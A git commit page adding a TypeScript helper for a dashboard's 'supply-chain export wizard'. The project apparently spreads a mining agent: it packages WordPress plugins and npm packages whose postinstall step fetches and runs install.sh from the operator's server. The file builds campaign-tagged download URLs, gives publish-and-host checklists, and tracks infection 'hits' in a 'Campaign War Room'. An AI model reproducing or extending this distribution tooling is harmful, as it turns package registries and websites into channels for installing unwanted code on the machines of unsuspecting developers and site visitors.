feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
234
server/web/src/help/supplyChainExport.ts
Normal file
234
server/web/src/help/supplyChainExport.ts
Normal file
@@ -0,0 +1,234 @@
|
||||
/** Supply-chain export wizard helpers (WordPress plugin + npm postinstall). */
|
||||
|
||||
import { spreadTechniqueDocUrl } from './spreadTechniques';
|
||||
|
||||
export type SupplyChainFamily = 'wordpress' | 'npm';
|
||||
|
||||
export const SUPPLY_CHAIN_WIZARD_STEPS = [
|
||||
'pick-build',
|
||||
'configure',
|
||||
'download',
|
||||
'host',
|
||||
] as const;
|
||||
|
||||
export type SupplyChainWizardStep = (typeof SUPPLY_CHAIN_WIZARD_STEPS)[number];
|
||||
|
||||
export const SUPPLY_CHAIN_STEP_LABELS: Record<SupplyChainWizardStep, string> = {
|
||||
'pick-build': 'Pick build',
|
||||
configure: 'Configure site/campaign',
|
||||
download: 'Download ZIP',
|
||||
host: 'Copy hosting instructions',
|
||||
};
|
||||
|
||||
/** Matches server sanitizeExportSlug in spread_export.go */
|
||||
export function sanitizeExportSlug(s: string): string {
|
||||
let slug = s.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^[-.]+|[-.]+$/g, '');
|
||||
if (!slug) slug = 'site';
|
||||
if (slug.length > 48) slug = slug.slice(0, 48);
|
||||
return slug;
|
||||
}
|
||||
|
||||
export function wpCampaignSlug(siteName: string): string {
|
||||
return `wp-${sanitizeExportSlug(siteName)}`;
|
||||
}
|
||||
|
||||
export function wpDownloadUrl(serverUrl: string, siteName: string, buildId: string): string {
|
||||
const base = serverUrl.replace(/\/$/, '');
|
||||
const c = wpCampaignSlug(siteName);
|
||||
let url = `${base}/get?c=${encodeURIComponent(c)}`;
|
||||
const pin = buildId.trim();
|
||||
if (pin) url += `&pin=${encodeURIComponent(pin)}`;
|
||||
return url;
|
||||
}
|
||||
|
||||
export function npmPackageName(campaign: string): string {
|
||||
const slug = sanitizeExportSlug(campaign || 'npm-helper');
|
||||
return `@aetherforge/${slug}-helper`;
|
||||
}
|
||||
|
||||
export function npmInstallShUrl(serverUrl: string, campaign: string, buildId: string): string {
|
||||
const base = serverUrl.replace(/\/$/, '');
|
||||
const parts: string[] = [];
|
||||
const pin = buildId.trim();
|
||||
const slug = campaign.trim();
|
||||
if (pin) parts.push(`pin=${encodeURIComponent(pin)}`);
|
||||
if (slug) parts.push(`c=${encodeURIComponent(slug)}`);
|
||||
return parts.length ? `${base}/install.sh?${parts.join('&')}` : `${base}/install.sh`;
|
||||
}
|
||||
|
||||
export function supplyChainZipFilename(family: SupplyChainFamily, siteOrCampaign: string): string {
|
||||
const slug = sanitizeExportSlug(siteOrCampaign || (family === 'wordpress' ? 'site' : 'npm-helper'));
|
||||
return family === 'wordpress' ? `${slug}-wordpress-plugin.zip` : `${slug}-npm-helper.zip`;
|
||||
}
|
||||
|
||||
export function supplyChainWikiUrl(family: SupplyChainFamily): string {
|
||||
return family === 'wordpress'
|
||||
? spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)
|
||||
: spreadTechniqueDocUrl('npm-postinstall-helper', true);
|
||||
}
|
||||
|
||||
export function supplyChainHostingChecklistUrl(family: SupplyChainFamily): string {
|
||||
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
|
||||
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
|
||||
}
|
||||
|
||||
export interface HostingChecklistItem {
|
||||
id: string;
|
||||
label: string;
|
||||
}
|
||||
|
||||
export function hostingChecklist(family: SupplyChainFamily): HostingChecklistItem[] {
|
||||
if (family === 'wordpress') {
|
||||
return [
|
||||
{ id: 'unzip', label: 'Unzip the downloaded plugin archive locally' },
|
||||
{ id: 'upload', label: 'WP Admin → Plugins → Add New → Upload Plugin' },
|
||||
{ id: 'activate', label: 'Activate the plugin on your owned WordPress host' },
|
||||
{ id: 'verify', label: 'Confirm admin notice links to /get?c=wp-{site} on your deck' },
|
||||
{ id: 'track', label: 'Track wp-{site} hits in Emberwake → Campaign War Room' },
|
||||
];
|
||||
}
|
||||
return [
|
||||
{ id: 'unzip', label: 'Unzip the npm helper package template' },
|
||||
{ id: 'name', label: 'Adjust package.json name/scope if needed' },
|
||||
{ id: 'publish', label: 'Publish to a registry you control (private npm, Verdaccio, GitHub Packages)' },
|
||||
{ id: 'dep', label: 'Add as dependency only in authorized CI/dev environments' },
|
||||
{ id: 'verify', label: 'Run npm install and confirm postinstall curls install.sh' },
|
||||
];
|
||||
}
|
||||
|
||||
export interface HostingInstructionBlock {
|
||||
title: string;
|
||||
body: string;
|
||||
}
|
||||
|
||||
export function hostingInstructions(
|
||||
family: SupplyChainFamily,
|
||||
opts: { serverUrl: string; siteName: string; campaign: string; buildId: string },
|
||||
): HostingInstructionBlock[] {
|
||||
const { serverUrl, siteName, campaign, buildId } = opts;
|
||||
if (family === 'wordpress') {
|
||||
const slug = sanitizeExportSlug(siteName);
|
||||
const dl = wpDownloadUrl(serverUrl, siteName, buildId);
|
||||
return [
|
||||
{
|
||||
title: 'Upload path',
|
||||
body: `Plugins → Add New → Upload Plugin → choose ${slug}-wordpress-plugin.zip → Install Now → Activate`,
|
||||
},
|
||||
{
|
||||
title: 'Campaign tag',
|
||||
body: `War Room tracks connects as ?c=${wpCampaignSlug(siteName)}`,
|
||||
},
|
||||
{
|
||||
title: 'Download URL (plugin links here)',
|
||||
body: dl,
|
||||
},
|
||||
{
|
||||
title: 'Wiki playbook',
|
||||
body: supplyChainWikiUrl('wordpress'),
|
||||
},
|
||||
];
|
||||
}
|
||||
const pkg = npmPackageName(campaign);
|
||||
const install = npmInstallShUrl(serverUrl, campaign, buildId);
|
||||
return [
|
||||
{
|
||||
title: 'Package name',
|
||||
body: pkg,
|
||||
},
|
||||
{
|
||||
title: 'Publish',
|
||||
body: `cd unpacked-folder && npm publish --access restricted`,
|
||||
},
|
||||
{
|
||||
title: 'postinstall target',
|
||||
body: install,
|
||||
},
|
||||
{
|
||||
title: 'Wiki playbook',
|
||||
body: supplyChainWikiUrl('npm'),
|
||||
},
|
||||
];
|
||||
}
|
||||
|
||||
export function wizardStepIndex(step: SupplyChainWizardStep): number {
|
||||
return SUPPLY_CHAIN_WIZARD_STEPS.indexOf(step);
|
||||
}
|
||||
|
||||
export function wizardStepStatus(
|
||||
step: SupplyChainWizardStep,
|
||||
current: SupplyChainWizardStep,
|
||||
): 'pending' | 'active' | 'done' {
|
||||
const idx = wizardStepIndex(step);
|
||||
const cur = wizardStepIndex(current);
|
||||
if (idx < cur) return 'done';
|
||||
if (idx === cur) return 'active';
|
||||
return 'pending';
|
||||
}
|
||||
|
||||
/** Post-export deployment reel — three beats after a successful ZIP export. */
|
||||
export type DeploymentReelStepId = 'download' | 'upload' | 'verify-war-room';
|
||||
|
||||
export interface DeploymentReelStep {
|
||||
id: DeploymentReelStepId;
|
||||
label: string;
|
||||
/** When set, step label links to wiki or in-app anchor. */
|
||||
href?: string;
|
||||
}
|
||||
|
||||
export const DEPLOYMENT_REEL_STEP_IDS: DeploymentReelStepId[] = [
|
||||
'download',
|
||||
'upload',
|
||||
'verify-war-room',
|
||||
];
|
||||
|
||||
export const DEPLOYMENT_REEL_INITIAL_DELAY_MS = 400;
|
||||
export const DEPLOYMENT_REEL_STEP_MS = 900;
|
||||
|
||||
/** Wiki anchor for the upload/publish beat in the deployment reel. */
|
||||
export function deploymentReelUploadWikiUrl(family: SupplyChainFamily): string {
|
||||
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
|
||||
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
|
||||
}
|
||||
|
||||
/** In-app scroll target for War Room verification. */
|
||||
export const EMBERWAKE_WAR_ROOM_HASH = '#campaign-war-room';
|
||||
|
||||
export function emberwakeWarRoomUrl(): string {
|
||||
return `/emberwake${EMBERWAKE_WAR_ROOM_HASH}`;
|
||||
}
|
||||
|
||||
export function deploymentReelSteps(family: SupplyChainFamily): DeploymentReelStep[] {
|
||||
return [
|
||||
{ id: 'download', label: 'Download ZIP' },
|
||||
{ id: 'upload', label: 'Upload here', href: deploymentReelUploadWikiUrl(family) },
|
||||
{ id: 'verify-war-room', label: 'Verify hit in War Room', href: emberwakeWarRoomUrl() },
|
||||
];
|
||||
}
|
||||
|
||||
/** How many reel steps should show a completed checkmark at `elapsedMs`. */
|
||||
export function deploymentReelVisibleCount(elapsedMs: number, stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
|
||||
if (elapsedMs < DEPLOYMENT_REEL_INITIAL_DELAY_MS) return 0;
|
||||
const afterStart = elapsedMs - DEPLOYMENT_REEL_INITIAL_DELAY_MS;
|
||||
const count = Math.floor(afterStart / DEPLOYMENT_REEL_STEP_MS) + 1;
|
||||
return Math.min(Math.max(count, 0), stepCount);
|
||||
}
|
||||
|
||||
/** Index (0-based) of the step currently animating, or -1 before start / after all done. */
|
||||
export function deploymentReelActiveIndex(visibleCount: number, stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
|
||||
if (visibleCount <= 0) return 0;
|
||||
if (visibleCount >= stepCount) return -1;
|
||||
return visibleCount;
|
||||
}
|
||||
|
||||
export function deploymentReelStepStatus(
|
||||
stepIndex: number,
|
||||
visibleCount: number,
|
||||
): 'pending' | 'active' | 'done' {
|
||||
if (stepIndex < visibleCount) return 'done';
|
||||
if (stepIndex === visibleCount && visibleCount < DEPLOYMENT_REEL_STEP_IDS.length) return 'active';
|
||||
return 'pending';
|
||||
}
|
||||
|
||||
export function deploymentReelTotalDurationMs(stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
|
||||
return DEPLOYMENT_REEL_INITIAL_DELAY_MS + stepCount * DEPLOYMENT_REEL_STEP_MS;
|
||||
}
|
||||
Reference in New Issue
Block a user